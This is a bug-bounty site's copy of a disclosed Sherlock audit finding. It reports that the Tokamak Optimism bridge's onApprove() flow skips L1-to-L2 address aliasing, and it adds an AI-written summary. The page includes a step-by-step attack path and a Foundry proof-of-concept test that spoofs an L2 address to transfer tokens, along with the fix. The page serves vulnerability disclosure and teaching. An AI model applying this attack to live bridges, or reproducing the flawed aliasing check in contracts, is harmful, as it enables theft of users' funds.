Skip to content
Access control Audit finding Advanced

L1 contract can evade aliasing, spoofing unowned L2 address

A flaw in the Optimism bridge's address aliasing logic allows an L1 contract to bypass aliasing when depositing via the onApprove() function, enabling it to send messages on L2 as its own unaliased address. This could let an attacker controlling such a contract steal funds from the legitimate owner of the corresponding L2 address.

0x416 Follow with 0xlrivo, KingNFT and 2 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-08-tokamak-network-judging/issues/39

Found by

0x416, 0xlrivo, KingNFT, haxagon, obront

Summary

A key property of the Optimism bridge is that all contract addresses are aliased. This is to avoid a contract on L1 to be able to send messages as the same address on L2, because often these contracts will have different owners. However, using the onApprove() function, this aliasing can be evaded, giving L1 contracts this power.

Root Cause

When depositTransaction() is called on the Optimism Portal, we use the following check to determine whether to alias the from address:

Solidity
address from =
    ((_sender != tx.origin) && !_isOnApproveTrigger) ? AddressAliasHelper.applyL1ToL2Alias(_sender) : _sender;

As we can see, this check does not alias the address is _isOnApproveTrigger = true.

This flag is set whenever the deposit is triggered via a call to onApprove(). However, it is entirely possible for a contract to use this flow, and therefore avoid being aliased.

Internal Preconditions

None

External Preconditions

None

Attack Path

  1. A contract on L1 is owned by a different user than the contract address on L2. This is typical, for example, with multisigs or safes that deployed using CREATE.
  2. It wants to send a message on behalf of the L2 contract. For example, it may want to call transfer() on an ERC20 to steal their tokens.
  3. It calls approveAndCall() on the Native Token on L1, including the message it wants to send on L2.
  4. This message is passed along to the Optimism Portal's onApprove() function, which sets the _isOnApproveTrigger flag to true, and doesn't alias the address.
  5. The result is that the L2 message comes from the unaliased L1 address, and arbitrary messages (including token transfers) can be performed on L2.

Impact

L1 contracts can send arbitrary messages from their own address on L2, allowing them to steal funds from the owners of the L2 contracts.

PoC

The following standalone test can be used to demonstrate this vulnerability:

Solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { stdStorage, StdStorage, Test, console } from "forge-std/Test.sol";
import { OptimismPortal2 } from "../src/L1/OptimismPortal2.sol";
import { Constants } from "../src/libraries/Constants.sol";
import { L2NativeToken } from "../src/L1/L2NativeToken.sol";
import { ResourceMetering } from "../src/L1/ResourceMetering.sol";

contract MaliciousSafe {}

contract DummySystemConfig {
    address public nativeTokenAddress;

    constructor(address nativeToken) {
        nativeTokenAddress = nativeToken;
    }

    function resourceConfig() external view returns (ResourceMetering.ResourceConfig memory) {
        return Constants.DEFAULT_RESOURCE_CONFIG();
    }
}

contract POC is Test {
    using stdStorage for StdStorage;

    OptimismPortal2 portal;
    L2NativeToken token;

    event TransactionDeposited(address indexed from, address indexed to, uint256 indexed version, bytes opaqueData);

    function setUp() public {
        token = new L2NativeToken();
        DummySystemConfig config = new DummySystemConfig(address(token));

        portal = new OptimismPortal2(0, 0);
        stdstore.target(address(portal)).sig("systemConfig()").checked_write(address(config));

    }

    function testZach_noAlias() public {
        // we are sending from a safe, which isn't owned on L2
        address from = address(new MaliciousSafe());
        vm.startPrank(from);
        token.faucet(1);

        // let's make some transaction data
        // for example, transfer our addresses USDC on L2 to another address
        address to = makeAddr("L2USDC");
        uint value = 0;
        uint32 gasLimit = 1_000_000;
        bytes memory message = abi.encodeWithSignature("transfer(address,uint256)", address(1), 100e18);
        bytes memory onApproveData = abi.encodePacked(to, value, gasLimit, message);

        // confirm that the deposit transaction is:
        // from: from (non aliased)
        // to: L2USDC
        vm.expectEmit(true, true, false, false);
        emit TransactionDeposited(from, to, 0, bytes(""));

        // now we use approve and call to send the deposit transaction
        token.approveAndCall(address(portal), 1, onApproveData);
    }
}

Mitigation

The _sender != tx.origin check is correct, even in the case that the call came via onApprove(), so the additional logic can be removed.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/tokamak-network/tokamak-thanos/pull/275

The original report as published on Sherlock, by 0x416. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the deposit transaction logic skips address aliasing when the deposit is triggered via onApprove(), because the condition checks a flag that is set to true in that flow.

Impact

L1 contracts can send arbitrary messages from their own address on L2, allowing them to steal funds from the owners of the L2 contracts.

What the attacker needed

L1 contract owned by attacker; L2 contract at same address owned by victim; Attacker can call approveAndCall on L1

The fix

The additional logic should be removed so that aliasing is always applied when the sender is not the transaction origin, even for onApprove() calls.

How it was found

  1. A contract on L1 is owned by a different user than the contract address on L2.
  2. The contract wants to send a message on behalf of the L2 contract, for example to call transfer() on an ERC20 to steal tokens.
  3. It calls approveAndCall() on the Native Token on L1, including the message it wants to send on L2.
  4. This message is passed to the Optimism Portal's onApprove() function, which sets the _isOnApproveTrigger flag to true and does not alias the address.
  5. The L2 message comes from the unaliased L1 address, allowing arbitrary messages (including token transfers) to be performed on L2.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a contract on one blockchain sends a message to another, the system usually changes its address slightly (called aliasing) to prevent confusion with a different contract that might have the same address on the other chain. This report shows that a special deposit function skips that address change, so a malicious contract can pretend to be the real owner of an address on the other chain and steal funds.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by 0x416

View all

3 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.